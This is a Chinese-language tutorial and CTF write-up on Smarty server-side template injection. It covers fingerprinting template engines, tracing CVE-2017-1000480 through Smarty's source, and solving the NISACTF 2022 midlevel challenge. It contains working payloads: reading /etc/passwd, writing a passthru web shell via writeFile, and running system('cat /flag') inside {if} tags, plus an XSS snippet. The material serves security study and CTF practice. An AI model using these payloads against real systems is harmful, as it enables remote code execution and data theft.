大佬厉害
Smarty 是 PHP 的模板引擎,有助于将表示 (HTML/CSS) 与应用程序逻辑分离。在 3.1.42 和 4.0.2 版本之前,模板作者可以通过制作恶意数学字符串来运行任意 PHP 代码。如果数学字符串作为用户提供的数据传递给数学函数,则外部用户可以通过制作恶意数学字符串来运行任意 PHP 代码。
确定攻击方式:
学了这么多SSTI对应的模板,我们现在先放一放Smarty,谈一下如何确定模板类型,从而确定我们下一步的攻击姿势:
我们可以用三种方法来进行测试:
第一层:
- 如果可以执行${77}的结果,那我们进入第二层的`a{comment}b
,如果没用执行结果,那就进入第二层的
{{77}}` - 在Mako模板引擎中我们也是${}形式的
第二层:
- 在
a{*comment*}b
中,如果{**}被当作注释而输出ab,我们就可以确定这个地方是Smarty模板,如果不能,进入第三层; - 在
{{7*7}}
中,如果能够执行,那我们进入第三层。
第三层:
- 当{{7*'7'}}的结果为49时,对应着Twig模板类型,而结果如果为7777777,则对应着Jinja2的模板类型
- 当能够执行
${"z".join("ab")}
,我们就能确定是Mako模板,能够直接执行python命令.
Smarty漏洞成因:
<?php
require_once('./smarty/libs/' . 'Smarty.class.php');
$smarty = new Smarty();
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$smarty->display("string:".$ip); // display函数把标签替换成对象的php变量;显示模板
}
这个地方对应的就是xff头处存在smarty模板,我们可以利用smarty形式来进行攻击。
攻击方式:
获取类的静态方法:
$smarty内置变量可用于访问各种环境变量,比如我们使用 self 得到 smarty 这个类以后,我们就去找 smarty 给我们的方法:
getStreamVariable():
public function getStreamVariable($variable)//variable其实就是文件路径
{
$_result = '';
$fp = fopen($variable, 'r+');//从此处开始对文件进行读取
if ($fp) {
while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
$_result .= $current_line;
}
fclose($fp);
return $_result;
}
$smarty = isset($this->smarty) ? $this->smarty : $this;
if ($smarty->error_unassigned) {
throw new SmartyException('Undefined stream variable "' . $variable . '"');
} else {
return null;
}
}
//可以看到这个方法可以读取一个文件并返回其内容,所以我们可以用self来获取Smarty对象并调用这个方法
smarty/libs/sysplugins/smarty_internal_data.php ——> getStreamVariable() 这个方法可以获取传入变量的流
例如:
{self::getStreamVariable("file:///etc/passwd")}
- 不过这种利用方式只存在于旧版本中,而且在 3.1.30 的 Smarty 版本中官方已经将
getStreamVariable
静态方法删除。
writeFile:
public function writeFile($_filepath, $_contents, Smarty $smarty)
//我们可以发现第三个参数$smarty其实就是一个smarty模板类型,要求是拒绝非Smarty类型的输入,这就意味着我们需要获取对Smarty对象的引用,然后我们在smarty中找到了 self::clearConfig():
public function clearConfig($varname = null)
{
return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}
smarty/libs/sysplugins/smarty_internal_write_file.php ——> Smarty_Internal_Write_File 这个类中有一个writeFile方法
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
但是writeFile方法也有版本限制,所以我们首先要确定模板的版本,再决定对应的攻击方法。
标签:
1. {$smarty.version}
{$smarty.version} #获取smarty的版本号
2.{php}{/php}
{php}phpinfo();{/php} #执行相应的php代码
Smarty支持使用 {php}{/php} 标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但因为在Smarty3版本中已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。
3.{literal}
- {literal} 可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为 Smarty 的定界符而错被解析。
- 在 PHP5 环境下存在一种 PHP 标签,
<script>language="php"></script>,
我们便可以利用这一标签进行任意的 PHP 代码执行。 - 通过上述描述也可以想到,我们完全可以利用这一种标签来实现 XSS 攻击,这一种攻击方式在 SSTI 中也是很常见的,因为基本上所有模板都会因为需要提供类似的功能。
{literal}alert('xss');{/literal}
4.{if}{/if}
{if phpinfo()}{/if}
Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||
,or
,&&
,and
,is_array()
等等,如:
{if is_array($array)}{/if}
还可以用来执行命令:
{if phpinfo()}{/if}
{if readfile ('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}
漏洞复现:
重点就是沙箱逃逸的部分:
这里我们主要介绍三个漏洞,说实在有点难复现,但毕竟sp4师傅是我的大师哥,想成为sp4师傅这样的大佬,那大佬走过的路我们也是要走走的。
CVE-2017-1000480:
环境链接:Releases · smarty-php/smarty (github.com)
在下面再写一个文件,用于利用漏洞,也是漏洞的触发点display, 渲染页面以后输出结果的这个函数:
<?php
define('SMARTY_ROOT_DIR', str_replace('\\', '/', __DIR__));
define('SMARTY_COMPILE_DIR', SMARTY_ROOT_DIR.'/tmp/templates_c');
define('SMARTY_CACHE_DIR', SMARTY_ROOT_DIR.'/tmp/cache');
include_once(SMARTY_ROOT_DIR . '/smarty-3.1.31/libs/Smarty.class.php');
class testSmarty extends Smarty_Resource_Custom
{
protected function fetch($name, &$source, &$mtime)
{
$template = "CVE-2017-1000480 smarty PHP code injection";
$source = $template;
$mtime = time();
}
}
$smarty = new Smarty();
$smarty->setCacheDir(SMARTY_CACHE_DIR);
$smarty->setCompileDir(SMARTY_COMPILE_DIR);
$smarty->registerResource('test', new testSmarty);
$smarty->display('test:'.$_GET['eval']);
?>
我们来跟进smarty对象的成员方法display, 位置为 smarty-3.1.31\libs\sysplugins\smarty_internal_templatebase.php
public function display($template = null, $cache_id = null, $compile_id = null, $parent = null)
{
// display template
$this->_execute($template, $cache_id, $compile_id, $parent, 1);
}
因为我们只给display传入了一个参数,所以我们传给display的参数就是这里的局部变量$template, 然后调用了函数_execute(),跟进一下,由于这段函数非常的长,我们就只关注有关template参数的地方,贴一下师傅的图:
我们可以发现template在这段代码中,直接进入elseif语句,其结果是使用了createTemplate方法,并且将template的值进行了覆盖,然后我们对createTemplate方法进行追综,可以发现template最后被赋值成一个Smarty_Internal_Template的对象,也正如createtemplate的字面意思
然后我们再回到原来的_execute代码处,在template被赋值为一个新的模板以后,我们会进入一个try结构,然后继续去关注里面的temlate参数走向,我们跟进render:
public function render(Smarty_Internal_Template $_template, $no_output_filter = true)
{
if ($this->isCached($_template)) {
if ($_template->smarty->debugging) {
if (!isset($_template->smarty->_debug)) {
$_template->smarty->_debug = new Smarty_Internal_Debug();
}
$_template->smarty->_debug->start_cache($_template);
}
if (!$this->processed) {
$this->process($_template);
}
$this->getRenderedTemplateCode($_template);
if ($_template->smarty->debugging) {
$_template->smarty->_debug->end_cache($_template);
}
return;
} else {
$_template->smarty->ext->_updateCache->updateCache($this, $_template, $no_output_filter);
}
}
这里因为我们之前没有进行过模板缓存文件的生成会进入这里的 else,我们继续跟进 smartytemplatecompiled 类中的这个 render:
public function render(Smarty_Internal_Template $_template)
{
// checks if template exists
if (!$_template->source->exists) {
$type = $_template->source->isConfig ? 'config' : 'template';
throw new SmartyException("Unable to load {$type} '{$_template->source->type}:{$_template->source->name}'");
}
if ($_template->smarty->debugging) {
if (!isset($_template->smarty->_debug)) {
$_template->smarty->_debug = new Smarty_Internal_Debug();
}
$_template->smarty->_debug->start_render($_template);
}
if (!$this->processed) {
$this->process($_template);
}
}
第105行开始对前面生成的模板进行处理:
# smarty_template_compiled
# line about 104
if (!$this->processed) {
$this->process($_template);
}
可以看到这里的 $this->process($_template);跟进process
public function process(Smarty_Internal_Template $_smarty_tpl)
{
$source = &$_smarty_tpl->source;
$smarty = &$_smarty_tpl->smarty;
if ($source->handler->recompiled) {
$source->handler->process($_smarty_tpl);
} elseif (!$source->handler->uncompiled) {
if (!$this->exists || $smarty->force_compile ||
($smarty->compile_check && $source->getTimeStamp() > $this->getTimeStamp())
) {
$this->compileTemplateSource($_smarty_tpl);
$compileCheck = $smarty->compile_check;
$smarty->compile_check = false;
$this->loadCompiledTemplate($_smarty_tpl);
$smarty->compile_check = $compileCheck;
} else {
$_smarty_tpl->mustCompile = true;
@include($this->filepath);
if ($_smarty_tpl->mustCompile) {
$this->compileTemplateSource($_smarty_tpl);
$compileCheck = $smarty->compile_check;
$smarty->compile_check = false;
$this->loadCompiledTemplate($_smarty_tpl);
$smarty->compile_check = $compileCheck;
}
}
$_smarty_tpl->_subTemplateRegister();
$this->processed = true;
}
}
process方法定义在第90行。现在初次访问,也即文件的第97行会对模板文件进行编译,即如简介中所言开始生成编译文件:
if (!$this->exists || $smarty->force_compile ||
($smarty->compile_check && $source->getTimeStamp() > $this->getTimeStamp())
) {
$this->compileTemplateSource($_smarty_tpl);
$compileCheck = $smarty->compile_check;
$smarty->compile_check = false;
$this->loadCompiledTemplate($_smarty_tpl);
$smarty->compile_check = $compileCheck;
}
compileTemplateSource方法定义在同文件的第189行,在第203行装载完编译器后(loadCompiler()),调用write方法进行写操作:
public function compileTemplateSource(Smarty_Internal_Template $_template)
{
...
try {
// call compiler
$_template->loadCompiler();//装载编译器
$this->write($_template, $_template->compiler->compileTemplate($_template));
}
...
跟入compileTemplate方法,定义libs\sysplugins\smarty_internal_templatecompilerbase.php第330行:
public function compileTemplate(Smarty_Internal_Template $template, $nocache = null,
Smarty_Internal_TemplateCompilerBase $parent_compiler = null)
{
// get code frame of compiled template
$_compiled_code = $template->smarty->ext->_codeFrame->create($template,
$this->compileTemplateSource($template, $nocache,
$parent_compiler),
$this->postFilter($this->blockOrFunctionCode) .
join('', $this->mergedSubTemplatesCode), false,
$this);
return $_compiled_code;
}
create是生成编译文件代码的方法,定义在libs\sysplugins\smarty_internal_runtime_codeframe.php
第28行
//在第45行,在生成output内容时有如下代码:
$output .= "/* Smarty version " . Smarty::SMARTY_VERSION . ", created on " . strftime("%Y-%m-%d %H:%M:%S") .
"\n from \"" . $_template->source->filepath . "\" */\n\n";
//将 $_template->source->filepath的内容直接拼接到了$output里。这段代码是为了生成编译文件中的注释,$output的头尾有注释符号/*和*/。
现在考虑如何利用,我们需要闭合前面的注释符号,即payload的最前面需要加上*/
。同时还要把后面的*/
给注释掉,可以在payload最后加上//
。中间填上php代码即可。另外需要注意的是,在win平台下,文件名中不允许有*
,而smarty框架的生成的编译文件的名字会含有我们的payload,所以在win下时会直接提示创建文件失败。
在linux平台下即可利用成功。
这就是Smarty下生成的临时文件的内容,其中蓝框的部分就是输出点,可以看到输出点是存在两个地方分别是在注释中以及在数组中。那么现在问题就很简单了,我们如何通过这两个输出点能够闭合其中的注释或者是代码,从而执行我们加入的代码。
然后在process中,能够将我们这个文件自动包含:
private function loadCompiledTemplate(Smarty_Internal_Template $_smarty_tpl)
{
if (function_exists('opcache_invalidate') && strlen(ini_get("opcache.restrict_api")) < 1) {
opcache_invalidate($this->filepath, true);
} elseif (function_exists('apc_compile_file')) {
apc_compile_file($this->filepath);
}
if (defined('HHVM_VERSION')) {
eval("?>" . file_get_contents($this->filepath));//就是这个位置
} else {
include($this->filepath);
}
}
eval(“?>”.file_get_contents($this->filepath)) 相当于一个远程文件包含,这里调用了 include ,我们之前写入缓存的php文件也就被包含进而执行了。
实战:
[NISACTF 2022]midlevel:
打开题目界面:
说明这个界面是用smarty进行创建的,所以我们确定攻击方式就为smarty,下一步寻找注入点:
打开整道题都是说明的ip右上角也有ip,用到 x-forwarded-for试一下有没有模板注入,我们用上面的判断模板的方法来实践一下:
这里我们用smarty特有的注释符方式来验证,发现并没有回显comment的值,所以我们可以确定这个位置就是smarty模板注入。
然后我们确定版本:
{$smarty.version}
Current IP:3.1.30
//所以这个位置我们不能够使用获取类的静态方法来进行攻击,也不能用php标签来进行攻击。
//又因为php的版本是php7,所以我们不能用literal标签,最后我们使用if来进行攻击
后续会继续更新2021和2022的CVE漏洞,因为自己代码审计水平有限,所以还请师傅们多多指教
参考文章:
https://www.cnblogs.com/bmjoker/p/13508538.html
https://www.anquanke.com/post/id/272393
https://blog.csdn.net/qq_45521281/article/details/107556915
https://www.cnblogs.com/magic-zero/p/8351974.html
https://blog.spoock.com/2018/03/06/Smartyty-RCE-Analysis/